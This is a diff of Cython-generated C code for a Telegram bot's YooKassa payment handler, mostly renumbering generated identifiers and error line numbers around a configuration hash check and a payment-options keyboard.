Py_VISIT(traverse_module_state->__pyx_kp_u__20); Py_VISIT(traverse_module_state->__pyx_kp_u__21); Py_VISIT(traverse_module_state->__pyx_kp_u__22); Py_VISIT(traverse_module_state->__pyx_kp_u__23); - Py_VISIT(traverse_module_state->__pyx_kp_u__24); - Py_VISIT(traverse_module_state->__pyx_n_s__26); - Py_VISIT(traverse_module_state->__pyx_kp_u__27); - Py_VISIT(traverse_module_state->__pyx_n_s__37); + Py_VISIT(traverse_module_state->__pyx_n_s__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); + Py_VISIT(traverse_module_state->__pyx_n_s__36); Py_VISIT(traverse_module_state->__pyx_kp_u__4); Py_VISIT(traverse_module_state->__pyx_kp_u__6); Py_VISIT(traverse_module_state->__pyx_kp_u__7); - Py_VISIT(traverse_module_state->__pyx_n_u__8); - Py_VISIT(traverse_module_state->__pyx_kp_u__9); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); Py_VISIT(traverse_module_state->__pyx_n_s_account_id); Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); @@ -3748,7 +3744,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_get); Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); Py_VISIT(traverse_module_state->__pyx_n_s_get_temporary_data); - Py_VISIT(traverse_module_state->__pyx_n_s_handlers_buttons_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_buttons); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_yookassa_pay); @@ -3875,7 +3871,8 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_int_500); Py_VISIT(traverse_module_state->__pyx_codeobj_); Py_VISIT(traverse_module_state->__pyx_tuple__5); - Py_VISIT(traverse_module_state->__pyx_tuple__19); + Py_VISIT(traverse_module_state->__pyx_tuple__18); + Py_VISIT(traverse_module_state->__pyx_tuple__27); Py_VISIT(traverse_module_state->__pyx_tuple__28); Py_VISIT(traverse_module_state->__pyx_tuple__29); Py_VISIT(traverse_module_state->__pyx_tuple__30); @@ -3884,13 +3881,12 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_tuple__33); Py_VISIT(traverse_module_state->__pyx_tuple__34); Py_VISIT(traverse_module_state->__pyx_tuple__35); - Py_VISIT(traverse_module_state->__pyx_tuple__36); Py_VISIT(traverse_module_state->__pyx_codeobj__3); - Py_VISIT(traverse_module_state->__pyx_codeobj__10); - Py_VISIT(traverse_module_state->__pyx_codeobj__13); + Py_VISIT(traverse_module_state->__pyx_codeobj__9); + Py_VISIT(traverse_module_state->__pyx_codeobj__12); + Py_VISIT(traverse_module_state->__pyx_codeobj__15); Py_VISIT(traverse_module_state->__pyx_codeobj__16); - Py_VISIT(traverse_module_state->__pyx_codeobj__17); - Py_VISIT(traverse_module_state->__pyx_codeobj__25); + Py_VISIT(traverse_module_state->__pyx_codeobj__24); return 0; } #endif @@ -3942,13 +3938,13 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_kp_u_Account_ID __pyx_mstate_global->__pyx_kp_u_Account_ID #define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any #define __pyx_n_s_BACK __pyx_mstate_global->__pyx_n_s_BACK -#define __pyx_n_s_CUSTOM_SUM __pyx_mstate_global->__pyx_n_s_CUSTOM_SUM -#define __pyx_n_s_CUSTOM_SUM_ANSWER __pyx_mstate_global->__pyx_n_s_CUSTOM_SUM_ANSWER +#define __pyx_n_s_CUSTOM_AMOUNT __pyx_mstate_global->__pyx_n_s_CUSTOM_AMOUNT #define __pyx_n_s_CallbackQuery __pyx_mstate_global->__pyx_n_s_CallbackQuery #define __pyx_n_s_Configuration __pyx_mstate_global->__pyx_n_s_Configuration #define __pyx_n_s_DATABASE_URL __pyx_mstate_global->__pyx_n_s_DATABASE_URL #define __pyx_n_s_DEFAULT_PAYMENT_MESSAGE __pyx_mstate_global->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE #define __pyx_n_s_EMAIL __pyx_mstate_global->__pyx_n_s_EMAIL +#define __pyx_n_s_ENTER_SUM __pyx_mstate_global->__pyx_n_s_ENTER_SUM #define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F #define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext #define __pyx_n_u_HASHHASHYOOKASSA __pyx_mstate_global->__pyx_n_u_HASHHASHYOOKASSA @@ -3957,12 +3953,12 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder #define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton #define __pyx_n_s_InlineKeyboardMarkup __pyx_mstate_global->__pyx_n_s_InlineKeyboardMarkup +#define __pyx_n_s_MAIN_MENU __pyx_mstate_global->__pyx_n_s_MAIN_MENU #define __pyx_n_s_MAIN_SECRET __pyx_mstate_global->__pyx_n_s_MAIN_SECRET #define __pyx_n_s_Message __pyx_mstate_global->__pyx_n_s_Message #define __pyx_n_s_PAY __pyx_mstate_global->__pyx_n_s_PAY #define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS #define __pyx_n_s_PAY_2 __pyx_mstate_global->__pyx_n_s_PAY_2 -#define __pyx_n_s_PROFILE __pyx_mstate_global->__pyx_n_s_PROFILE #define __pyx_kp_u_PROJECT_06_01_09_LICENSION __pyx_mstate_global->__pyx_kp_u_PROJECT_06_01_09_LICENSION #define __pyx_n_s_Payment __pyx_mstate_global->__pyx_n_s_Payment #define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id @@ -3981,25 +3977,24 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_YOOKASSA_HASH __pyx_mstate_global->__pyx_n_s_YOOKASSA_HASH #define __pyx_n_s_YOOKASSA_SECRET_KEY __pyx_mstate_global->__pyx_n_s_YOOKASSA_SECRET_KEY #define __pyx_n_s_YOOKASSA_SHOP_ID __pyx_mstate_global->__pyx_n_s_YOOKASSA_SHOP_ID +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 #define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 -#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 #define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 -#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 -#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 +#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 #define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 #define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 #define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 #define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 #define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 -#define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 -#define __pyx_n_s__26 __pyx_mstate_global->__pyx_n_s__26 -#define __pyx_kp_u__27 __pyx_mstate_global->__pyx_kp_u__27 -#define __pyx_n_s__37 __pyx_mstate_global->__pyx_n_s__37 +#define __pyx_n_s__25 __pyx_mstate_global->__pyx_n_s__25 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 +#define __pyx_n_s__36 __pyx_mstate_global->__pyx_n_s__36 #define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 #define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 #define __pyx_kp_u__7 __pyx_mstate_global->__pyx_kp_u__7 -#define __pyx_n_u__8 __pyx_mstate_global->__pyx_n_u__8 -#define __pyx_kp_u__9 __pyx_mstate_global->__pyx_kp_u__9 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 #define __pyx_n_s_account_id __pyx_mstate_global->__pyx_n_s_account_id #define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection #define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment @@ -4073,7 +4068,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get #define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count #define __pyx_n_s_get_temporary_data __pyx_mstate_global->__pyx_n_s_get_temporary_data -#define __pyx_n_s_handlers_buttons_yookassa __pyx_mstate_global->__pyx_n_s_handlers_buttons_yookassa +#define __pyx_n_s_handlers_buttons __pyx_mstate_global->__pyx_n_s_handlers_buttons #define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift #define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils #define __pyx_n_s_handlers_payments_yookassa_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_yookassa_pay @@ -4200,7 +4195,8 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_int_500 __pyx_mstate_global->__pyx_int_500 #define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ #define __pyx_tuple__5 __pyx_mstate_global->__pyx_tuple__5 -#define __pyx_tuple__19 __pyx_mstate_global->__pyx_tuple__19 +#define __pyx_tuple__18 __pyx_mstate_global->__pyx_tuple__18 +#define __pyx_tuple__27 __pyx_mstate_global->__pyx_tuple__27 #define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 #define __pyx_tuple__29 __pyx_mstate_global->__pyx_tuple__29 #define __pyx_tuple__30 __pyx_mstate_global->__pyx_tuple__30 @@ -4209,13 +4205,12 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_tuple__33 __pyx_mstate_global->__pyx_tuple__33 #define __pyx_tuple__34 __pyx_mstate_global->__pyx_tuple__34 #define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 -#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 #define __pyx_codeobj__3 __pyx_mstate_global->__pyx_codeobj__3 -#define __pyx_codeobj__10 __pyx_mstate_global->__pyx_codeobj__10 -#define __pyx_codeobj__13 __pyx_mstate_global->__pyx_codeobj__13 +#define __pyx_codeobj__9 __pyx_mstate_global->__pyx_codeobj__9 +#define __pyx_codeobj__12 __pyx_mstate_global->__pyx_codeobj__12 +#define __pyx_codeobj__15 __pyx_mstate_global->__pyx_codeobj__15 #define __pyx_codeobj__16 __pyx_mstate_global->__pyx_codeobj__16 -#define __pyx_codeobj__17 __pyx_mstate_global->__pyx_codeobj__17 -#define __pyx_codeobj__25 __pyx_mstate_global->__pyx_codeobj__25 +#define __pyx_codeobj__24 __pyx_mstate_global->__pyx_codeobj__24 /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ @@ -4279,7 +4274,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 64, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 56, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -4287,9 +4282,9 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 64, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 56, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 1); __PYX_ERR(0, 64, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 1); __PYX_ERR(0, 56, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: @@ -4297,14 +4292,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 64, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 56, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 2); __PYX_ERR(0, 64, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 2); __PYX_ERR(0, 56, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_yookassa") < 0)) __PYX_ERR(0, 64, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_yookassa") < 0)) __PYX_ERR(0, 56, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 3)) { goto __pyx_L5_argtuple_error; @@ -4319,7 +4314,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 64, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 56, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -4358,7 +4353,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pa if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 64, __pyx_L1_error) + __PYX_ERR(0, 56, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -4372,7 +4367,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pa __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -4425,21 +4420,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 64, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_INCREF(__pyx_n_u_HASHHASHYOOKASSA); __Pyx_GIVEREF(__pyx_n_u_HASHHASHYOOKASSA); __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_HASHHASHYOOKASSA; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 69, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 70, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -4460,24 +4455,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__2}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_target_message, __pyx_t_3) < 0) __PYX_ERR(0, 72, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_target_message, __pyx_t_3) < 0) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 72, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 64, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -4492,12 +4487,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 71, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 63, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 71, __pyx_L1_error) + else __PYX_ERR(0, 63, __pyx_L1_error) } } @@ -4507,19 +4502,19 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co } - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -4539,7 +4534,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -4547,24 +4542,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = PyTuple_New(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_4 = PyTuple_New(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_int_0)) __PYX_ERR(0, 80, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_int_0)) __PYX_ERR(0, 72, __pyx_L1_error); __Pyx_GIVEREF(__pyx_t_3); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error); __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_int_2)) __PYX_ERR(0, 80, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_int_2)) __PYX_ERR(0, 72, __pyx_L1_error); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { @@ -4572,9 +4567,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_t_6 = 0; __pyx_t_7 = NULL; } else { - __pyx_t_6 = -1; __pyx_t_4 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_6 = -1; __pyx_t_4 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 72, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; for (;;) { @@ -4583,28 +4578,28 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co { Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_4); 